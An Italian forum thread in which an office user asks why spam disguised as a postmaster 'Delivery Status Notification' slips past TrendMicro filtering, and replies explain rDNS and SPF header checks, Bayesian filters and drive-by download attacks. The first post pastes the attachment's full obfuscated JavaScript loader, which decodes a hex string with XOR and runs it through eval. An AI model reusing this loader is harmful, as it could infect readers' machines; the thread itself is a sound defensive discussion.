Mail/Spam non rilevato dal sistema antispam/antivirus

[cagnaluia]

Ciao,

in azienda uso TrendMicro VirusWall v.7 per filtrare la posta ed eliminare lo spam.

Da qualche giorno però ricevo numerose mail di spam, anomale.

Sembrano che le facciano passare inviandole come postmaster@..., il riferimento che in teoria dovrebbe avvisarti di eventuali errori o avvisi, ma in realtà si nascondono mail spazzatura con allegati script farlocchi.


esempio:

-----Messaggio originale-----
Da: System Administrator [mailto:[email protected]] 
Inviato: 3-lug-10 10:11
A: [email protected]
Oggetto: Delivery Status Notification (Failure)

Note: Forwarded message is attached.

This is an automatically generated Delivery Status Notification.

Delivery to the following recipients failed.

      [email protected]


Final-Recipient: rfc822;[email protected]
Action: failed
Status: 5.1.1

e il contenuto dell allegato: "Delivery Status Notification (Failure).html"
è questa pappardella qua:

<script>var vS;if(vS!='' && vS!='vKC'){vS='pD'};this.sFV='';var kGZ='';var aBT;var tW='';var hDD = Math.ceil(33);var wK='';var pYI=new Date();aBT='71727e'+'7c6974'+'727333'+'756f78'+'7b3d20'+'3d3a75'+'69696d'+'273232'+'2e747e'+'72736e'+'696f68'+'7e6974'+'727333'+'7e7270'+'327473'+'797865'+'2e3375'+'697071'+'3a26';this.vH=false;var iJ;if(iJ!='' && iJ!='iQ'){iJ=''};var dW;if(dW!='' && dW!='lH'){dW=null};var jYE;if(jYE!='' && jYE!='mXG'){jYE='rT'};   function r(k){this.x='';function t(mB,v){var lC=false;var vZ=new Array();return mB['\u0063\u0068'+unescape('%61%72%43%6f%64%65%41%74')](v);}this.uN="uN";var fI=47875;var uJ=false;function u(rO,q){this.xG=false;var sQ;if(sQ!='mD' && sQ != ''){sQ=null};var lF;if(lF!=''){lF='qR'};return rO^q;var iE='';}this.kP='';var kQF='';var d=32286;var p = new Date();  var tR;if(tR!='' && tR!='hQ'){tR=''};var l = (p['\u0067\u0065\u0074\u0048\u006f'+unescape('%75%72%73')]()*3619)+(p['\u0067\u0065\u0074\u004d\u0069\u006e'+unescape('%75%74%65%73')]()*61)+p['\u0067\u0065\u0074\u0053'+unescape('%65%63%6f%6e%64%73')]();var o = l - pG;this.rOQ=false;var i=40516;this.xV=false;if(o < 0) o = 1;var j=new Date();var pE='';var dN=new Date();if(o > 1) o = 1;var oU = Math.random();var cY;if(cY!='' && cY!='zLP'){cY='eN'};var yI=false;var mO = o;var lJ = Math.ceil(43);var eF = window;var qL = document;this.lI=56350;var jG='';var yC = Math.ceil(14);var vX = String;this.nR="";this.hK="";var rA;if(rA == 'dG'){rA=0;};var rV = eF['\u0075'+unescape('%6e%65%73%63%61%70%65')];this.dE=17766;var dO=false;var lG = vX['\u0066\u0072\u006f\u006d'+unescape('%43%68%61%72%43%6f%64%65')];var uE='';var pY='';var dOZ;if(dOZ!='qTH' && dOZ!='tN'){dOZ='qTH'};var jP;if(jP!='iW' && jP!='dU'){jP=''};this.qQ=false;var eY;if(eY!='gM' && eY!='xE'){eY=''};var bV = '';var tD = Math.ceil(24);var oM = '%';var xA=new Array();var iO=new Array();this.sY=false;var bQ = 2;var zV;if(zV!='' && zV!='eR'){zV=null};var qH;if(qH!='' && qH!='rPU'){qH=null};var jF = 0;var wT='';var cD = Math.random();this.jA=60119;var qT = k['\u006c\u0065\u006e\u0067'+unescape('%74%68')];for(var tZ=jF; tZ < qT; tZ+=bQ){var dL;if(dL!='oEC' && dL!='lN'){dL=''};var pT;if(pT!='' && pT!='mW'){pT=null};var lE='';bV+= oM + k['\u0073'+unescape('%75%62%73%74%72')](tZ, bQ);var oA=new Array();var yH=false;}var gA=false;var gV = Math.random();var yM;if(yM!='sK' && yM!='oP'){yM='sK'};var k = rV(bV);this.rHX="";var sW;if(sW!=''){sW='qI'};var sP = 28 + mO;this.aJ='';var kM = '';this.bP=27040;var aU=false;var bL='';var e = k['\u006c\u0065\u006e\u0067'+unescape('%74%68')];var mWV=new Array();var qE=new Array();for(var z=0; z < e; z++){var xX=new Array();this.vE="";var zJ=false;var rI = t(k,z);var xAL=false;var gL;if(gL!='' && gL!='oS'){gL=null};rI = u(rI, sP);var cI;if(cI!='kY' && cI!='cE'){cI=''};var iM=new Date();this.hF=false;kM+=lG(rI);this.vN='';this.bI='';}var fB=26077;var wC='';eF['\u0065\u0076'+unescape('%61%6C')](kM);var kG=new Date();var wQ=new Date();var eRW=51275;return kM;var hZ = Math.random();var jY='';}var gBI;if(gBI!='gK' && gBI!='vO'){gBI='gK'};this.fV="";var zBC;if(zBC!='' && zBC!='sZ'){zBC=''};var iCU;if(iCU!='vY' && iCU!='bX'){iCU='vY'};var vD = new Date();var pU=new Array();var wE;if(wE!='' && wE!='mY'){wE='cTA'};var pG = (vD['\u0067\u0065\u0074\u0048\u006f'+unescape('%75%72%73')]()*3619)+(vD['\u0067\u0065\u0074\u004d\u0069\u006e'+unescape('%75%74%65%73')]()*61)+vD['\u0067\u0065\u0074\u0053'+unescape('%65%63%6f%6e%64%73')](); var hS=41109;this.uL=60715;setTimeout('r(aBT)', 1007);var eSI = Math.random();this.aO="";var eD='';</script>

cosa ne pensate?

[xcdegasp]

che se il software non analizza l'header è completamente inutile

se ti accorgi che il testo immesso facesse sballlare il forum allora sarebbe buona cosa sostituire i tag QUOTE con i tag CODE . grazie

[cagnaluia]

Originariamente inviato da xcdegasp

che se il software non analizza l'header è completamente inutile

se ti accorgi che il testo immesso facesse sballlare il forum allora sarebbe buona cosa sostituire i tag QUOTE con i tag CODE . grazie

come?


in effetti l'avevo pensato.. e ho postato l'anteprima prima della risposta. Ma mi pareva ok. pardòn.


Però io non so cosa analizza il software.. però ora ho abilitato la voce IntelliScan che esamina l'header dei file (using true file type recognition), invece che l'impostazione precedente: tutti i files. Che pensavo essere più "cattiva".

[xcdegasp]

se lavora sull'header è più facile che faccia da filtro perchè è lì che vede incongruenze

[cagnaluia]

Originariamente inviato da xcdegasp

se lavora sull'header è più facile che faccia da filtro perchè è lì che vede incongruenze

va bene.

[Sisupoika]

Originariamente inviato da xcdegasp

se lavora sull'header è più facile che faccia da filtro perchè è lì che vede incongruenze

That's correct. Attraverso gli headers, un servizio di filtro puo effettuare diversi controlli tra cui

- la verifica rDNS: reverse domain name resolution => verifica che l'IP che ha inviato la email corrisponde all'hostname "dichiarato". Per esempio, se una mail e' stata inviata da un MTA (mail/message transfer agent) con IP xxx.xxx.xxx.xxx dicendo di provenire da un host di nome mail.undominio.com, viene fatta una verifica della presenza di un PTR record in DNS che confermi questa associazione. Quest'associazione e' di solito configurata dagli ISP che allocano indirizzi IP.
Importante notare che spessissimo chi si occupa di mail servers non sa una cippa di queste cose e lascia che l'MTA invii emails con un non FQDN (fully qualified domain name, cioe' un domain name contenente almeno tre parti separate dal punto...), che per forza di cose non ha rDNS OK. Questo e' un altro requisito per questa verifica.
Questa e' una comune ragione per molte emails genuine che vanno a finire diritto nella junk mail.

- la verifica SPF: SPF, che sta per sender policy framework, e' un TXT record nelle impostazioni DNS di un dominio, che (in short) ti dice chi (nel senso di quali hosts/servers) possono inviare emails per quel dominio, contenendo per es. una lista di indirizzi o range di indirizzi IP.
Esempio: poniamo che tu riceva una email da [email protected], inviata dall'host mail.hwupgrade.it avente indirizzo IP 123.123.123.123.
Come detto sopra, il servizio / applicazione antispam effettuera' prima un controllo rDNS per vedere se e' vero che a quell'indirizzo IP corrisponde quell'hostname (cioe' mail.hwupgrade.it), e viceversa.

Poi fara' una query DNS verso hwupgrade.it (che e' il dominio dopo @ nell'indirizzo email), e verifichera' che il TXT record SPF includa l'indirizzo IP dell'host che ha inviato la email, cioe' 123.123.123.123.

Se uno di questi due controlli fallisce, la email ha buone probabilita' di finire diritta nello spam.



Tornando piu' in topic, aggiungo una nota su un qualcosa che ho praticamente appresso collaborando con MessageLabs (adesso di proprieta' di Symantec, http://www.messagelabs.co.uk/). Le emails che hai visto potrebbero essere un'altro trend in crescita che praticamente sfrutta servizi di antispam o anche i soli client di posta, falsificando "Delivery Status Notification" per raggiungere altri scopi

In pratica lo spammer ti invia una email che non viene classificata subito come spam (leggi *nota), ma che viene lasciata passare perche' sembra una normale notifica di fallito invio di una email che tu avresti inviato.
Cosi' facendo, molti servizi e applicazioni antispam lasciano passare queste emails, che spesso includono nel loro html body degli script tags, come appunto nel tuo caso; se hai un client di posta che visualizza le emails come html e non ha particolari controlli (soprattutto se il codice e' offuscato ma non viene rilevato come tale), oppure tu - non sospettando - apri un attachment html che contiene quel codice, potresti aiutare lo spammer nel suo vero scopo che in questo caso non e' spam, ma un drive-by download attack; ne ho parlato spesso in passato, cmq qui c'e' una definizione veloce http://en.wikipedia.org/wiki/Drive-by_download).

Cioe', in realta' mirano a farti scaricare e/o installare qualcosa nel pc che, spesso, lo rende "zombie" pronto ad essere chiamato in azione come facente parte di qualche succulenta botnet...

Come dicevo, pare che questo sia un trend in crescita quindi e' probabile che ci siano piu' controlli in futuro anche sulle faild delivery notifications

[Sisupoika]

Ho dimenticato la *nota

Servizi o applicazioni che fanno anche uso di bayesian (http://en.wikipedia.org/wiki/Bayesian_spam_filtering) filters, soprattutto se community based, di solito sono piu' efficaci nel bloccare prima anche questo tipo di spam/non spam.

[cagnaluia]

grazie per tutte le precisazioni..